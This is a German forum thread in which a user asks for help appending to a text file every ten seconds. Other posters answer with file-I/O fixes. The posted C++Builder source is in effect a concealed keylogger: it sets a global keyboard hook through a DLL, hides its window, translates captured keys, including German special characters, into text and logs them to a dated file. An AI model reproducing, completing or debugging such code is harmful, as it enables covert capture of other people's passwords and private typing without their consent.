problem mit schreiben in textdatei...



  • hi leute!
    kann mir jemand ganz dringend helfen???
    ich will in eine textdatei was schreiben...alle 10sek.
    ich will wenn die textdatei schon vorhanden einfach dazuschreiben wenns die datei noch nicht gibt datei neu anlegen und hineinschreiben...

    ich mach das so:

    __fastcall TKeyHookForm::TKeyHookForm(TComponent* Owner)
       : TForm(Owner), Zeilen(0), umschalt(false), altgr(false)
    {
       dt = dt.CurrentDate();
       as = Application->ExeName;
       as.Delete(as.Length()-3, 4);
       as += "_LOG_";
       as += dt.DateString();
       as += ".txt";
    }
    
    void __fastcall TKeyHookForm::Timer1Timer(TObject *Sender)
    {
       if(FileExists(as))
          file.open(as.c_str(), ios_base::app);
       else
          file.open(as.c_str(), ios_base::out);
    
       if(file.is_open())
       {
          for(int i = 0; i<ListBox1->Items->Count; i++)
              file<<ListBox1->Items->Strings[i].c_str()<<endl;
    
       }
    
       file.close();
       //Die Listbox wird gelöscht, da sonst alles Doppelt vorkommt.
       ListBox1->Clear();
       Zeilen = 0;
    }
    

    irgendwas passt da nicht??
    danke für die hilfe schon mal im vorhinein...
    das jetzt da ist nicht der ganze code....
    bye



  • christiano schrieb:

    kann mir jemand ganz dringend helfen???

    Naja wir behandeln hier alle Probleme etwa gleich dringend... allerdings anebtrachts Aussagen wie:

    christiano schrieb:

    irgendwas passt da nicht??

    sehe ich da schwarz. Da dies keine Ausreichende Problembeschreibung/Fehlermeldung darstellt... vielleicht solltest du deine Fragestellung nochmals überdenken. Dann fällt vielleicht auch plötzlich das Wählen einer brauchbaren Überschrift einfacher....

    und was du uns mit

    christiano schrieb:

    das jetzt da ist nicht der ganze code....

    sagen willst ist mir ehrlich gesagt ein rätsel...

    Wie sagte Clippy in den alten Office-Versionen so schön? "Try rephrasing your query..."

    -junix



  • ich schick dir mal den code ok? code posten is da blöd weil ich noch ne dll eingebaut habe....
    kann ich deine email haben?

    cu



  • Was soll ich mit dem Code? Dein Unvermögen das Problem genau zu umschreiben sagt mir lediglich, dass du dich offensichtlich noch nicht ausreichend mit dem Problem beschäftigt hast, sondern eher frei nach dem motto "bööh, tut ja gar ned, naja, mal im forum fragen" hier gepostet hast.

    Schmeiss den Debugger an und schau dir an wann sich dein Code wie verhält oder mach zumindest mal ne ordentliche Fehlerbeschreibung *dickenhalskrieg*

    -junix



  • //---------------------------------------------------------------------------
    
    #include <vcl>
    #include <string>
    #include <fstream>
    #include <iostream>
    #include <windows>
    #pragma hdrstop
    #include "frmKeyHook.h"
    
    //---------------------------------------------------------------------------
    #pragma package(smart_init)
    #pragma link "Trayicon"
    #pragma link "Trayicon"
    #pragma link "trayicon"
    #pragma resource "*.dfm"
    TKeyHookForm *KeyHookForm;
    
    extern "C" __declspec(dllexport) __stdcall void SetHook(void);
    extern "C" __declspec(dllexport) __stdcall void RemoveHook(void);
    extern "C" __declspec(dllexport) __stdcall DWORD CheckKey(int, WORD,LONG);
    
    //---------------------------------------------------------------------------
    __fastcall TKeyHookForm::TKeyHookForm(TComponent* Owner)
       : TForm(Owner), Zeilen(0), umschalt(false), altgr(false)
    {
       dt = dt.CurrentDate();
       as = Application->ExeName;
       as.Delete(as.Length()-3, 4);
       as += "_LOG_";
       as += dt.DateString();
       as += ".txt";
    }
    //---------------------------------------------------------------------------
    void __fastcall TKeyHookForm::KeyHook(TMessage &Message)
    {
       char Key[41];
       AnsiString as;
       GetKeyNameText(Message.LParam, Key, 41);
       if(ListBox1->Items->Count == 0)
       {
          as = KeyToText("", Key);
          ListBox1->Items->Add(as);
       }
       else if(strcmp(Key, "EINGABE") == 0)
       {
          ListBox1->Items->Add("\0");
          ++Zeilen;
       }
       else
       {
          as = KeyToText(ListBox1->Items->Strings[Zeilen], Key);
          ListBox1->Items->Strings[Zeilen] = as;
       }
    }
    //---------------------------------------------------------------------------
    void __fastcall TKeyHookForm::FormCreate(TObject *Sender)
    {
       SetHook();
    }
    //---------------------------------------------------------------------------
    void __fastcall TKeyHookForm::FormDestroy(TObject *Sender)
    {
       RemoveHook();
    }
    //---------------------------------------------------------------------------
    //Verarbeitung der normale Zeichen
    AnsiString __fastcall TKeyHookForm::KeyToText(AnsiString text, char* key)
    {
       AnsiString as;
       for(int i = 0; i<12; ++i)
       {
          as = "F" + AnsiString(i+1);
          if(strcmp(key, as.c_str()) == 0)
             text += "";
       }
    
       if(strcmp(key, "LEER") == 0 || strcmp(key, "TABULATOR") == 0)
          text += " ";
       else if(strcmp(key, "RÜCK") == 0)
          text.Delete(text.Length(), 1);
       else if(strcmp(key, "UMSCHALT") == 0)
          umschalt = true;
       else if(strcmp(key, "UMSCHALT RECHTS") == 0)
          umschalt = true;
       else if(strcmp(key, "STRG") == 0 || strcmp(key, "STRG-RECHTS") == 0 ||
               strcmp(key, "ALT") == 0 || strcmp(key, "EINFG") == 0 ||
               strcmp(key, "POS1") == 0 || strcmp(key, "BILD-NACH-OBEN") == 0 ||
               strcmp(key, "BILD-NACH-UNTEN") == 0 || strcmp(key, "ENDE") == 0 ||
               strcmp(key, "ENTF") == 0 || strcmp(key, "NACH-LINKS") == 0 ||
               strcmp(key, "NACH-RECHTS") == 0 || strcmp(key, "NACH-OBEN") == 0 ||
               strcmp(key, "NACH-UNTEN") == 0 || strcmp(key, "ESC") == 0)
          text += "";
       else if( strcmp(key, "ALT GR") == 0)
          altgr = true;
       else if(strcmp(key, "ZIRKUMFLEX") == 0)
          text += "^";
       else if(umschalt)
       {
          text += KeyToSign(key);
          umschalt = false;
       }
       else if(altgr)
       {
          text += KeyToSign(key);
          altgr = false;
       }
       else
          text += AnsiString(key).LowerCase();
    
       return text;
    }
    //Hier jetz die Verarbeitung der Sonderzeichen, wenn auch etwas unschön...
    AnsiString __fastcall TKeyHookForm::KeyToSign(char* key)
    {
       AnsiString text;
       if(strcmp(key, ",") == 0)
          text = ";";
       else if(strcmp(key, ".") == 0)
          text = ":";
       else if(strcmp(key, "-") == 0)
          text = "_";
       else if(strcmp(key, "^") == 0)
          text = "°";
       else if(strcmp(key, "#") == 0)
          text = "'";
       else if(strcmp(key, "+") == 0)
       {
          if(altgr)
             text = "~";
          else
             text = "*";
       }
       else if(strcmp(key, "<") == 0)
       {
          if(altgr)
             text = "|";
          else
             text = ">";
       }
       else if(strcmp(key, "1") == 0)
          text = "!";
       else if(strcmp(key, "2") == 0)
       {
          if(altgr)
             text = "²";
          else
             text = "\"";
       }
       else if(strcmp(key, "3") == 0)
       {
          if(altgr)
             text = "³";
          else
             text = "§";
       }
       else if(strcmp(key, "4") == 0)
          text = "$";
       else if(strcmp(key, "5") == 0)
          text = "%";
       else if(strcmp(key, "6") == 0)
          text = "&";
       else if(strcmp(key, "7") == 0)
       {
          if(altgr)
             text = "{";
          else
             text = "/";
       }
       else if(strcmp(key, "8") == 0)
       {
          if(altgr)
             text = "[";
          else
          text = "(";
       }
       else if(strcmp(key, "9") == 0)
       {
          if(altgr)
             text = "]";
          else
          text = ")";
       }
       else if(strcmp(key, "0") == 0)
       {
          if(altgr)
             text = "}";
          else
          text = "=";
       }
       else if(strcmp(key, "ß") == 0)
       {
          if(altgr)
             text = "\\";
          else
          text = "?";
       }
       else if(strcmp(key, "M") == 0 && altgr == true)
          text = "µ";
       else if(strcmp(key, "Q") == 0 && altgr == true)
          text = "@";
       else if(strcmp(key, "E") == 0 && altgr == true)
          text = "€";
       else
          text = AnsiString(key);
    
       return text;
    }
    void __fastcall TKeyHookForm::FormPaint(TObject *Sender)
    {
       Hide();
    }
    //---------------------------------------------------------------------------
    //Programm beenden
    void __fastcall TKeyHookForm::Beenden1Click(TObject *Sender)
    {
       Application->Terminate();
    }
    //---------------------------------------------------------------------------
    //Rausschreiben in die Datei bzw. anhängen
    void __fastcall TKeyHookForm::Timer1Timer(TObject *Sender)
    {
       if(FileExists(as))
          file.open(as.c_str(), ios_base::app);
       else
          file.open(as.c_str(), ios_base::out);
    
       if(file.is_open())
       {
          for(int i = 0; i<ListBox1->Items->Count; i++)
              file<<ListBox1->Items->Strings[i].c_str()<<endl;
       }
    
       file.close();
    
       //Die Listbox wird gelöscht, da sonst alles Doppelt vorkommt.
       ListBox1->Clear();
       Zeilen = 0;
    }
    //---------------------------------------------------------------------------
    

    mein problem er kommt da nicht rein:
    if(file.is_open())
    irgendwas passt da nicht...ich weiß nicht genau.....

    will einfach wenns die datei schon gibt in die datei hinzuschreiben...wenns die datei noch nicht gibt...soll sie neu erstellt werden! das klappt ja....aber das hineinschreiben.....da passt was nicht!!!??

    cu surf.



  • Was ist z.B. "File"? wo wird es deklariert? Wieso global? Und vielleicht solltest du mal dem Problem nachgehen, wieso das Teil nicht als offen erkannt wird?!?

    -junix



  • //Rausschreiben in die Datei bzw. anhängen 
    void __fastcall TKeyHookForm::Timer1Timer(TObject *Sender) 
    { 
       ofstream file;
    
       if(FileExists(as)) 
          file.open(as.c_str(), ios_base::app); 
       else 
          file.open(as.c_str(), ios_base::out); 
    
       if(file.is_open()) 
       { 
          for(int i = 0; i<ListBox1->Items->Count; i++) 
              file<<ListBox1->Items->Strings[i].c_str()<<endl; 
       } 
    
       file.close(); 
    
       //Die Listbox wird gelöscht, da sonst alles Doppelt vorkommt. 
       ListBox1->Clear(); 
       Zeilen = 0; 
    } 
    //---------------------------------------------------------------------------
    

    das ofstream file; hab ich vergessen..sorry...aber blöd is das der compiler da nix dagegen hatte;-(
    sonnst brauch man e nix mehr?
    danke mal für die hilfe!

    cu surf.



  • Wirst wohl irgendwo noch ne globale namens "file" rumhängen haben... Wo ist "as" deklariert? was ist der Inhalt von "as"?

    -junix



  • ich will in eine textdatei was schreiben...alle 10sek.
    ich will wenn die textdatei schon vorhanden einfach dazuschreiben wenns die datei noch nicht gibt datei neu anlegen und hineinschreiben...

    Wo is da das Problem ?

    1 mal aufmachen mit ios::out|ios::app und nicht mehr zumachen. (Alle 10 sek wird sonst zeitkritisch).

    Das war schon der ganze Zauber.

    Durch deinen Source musste Dich nun selbst bewegen oder mal die Frage so stellen das man lust bekommt was zu machen.


Anmelden zum Antworten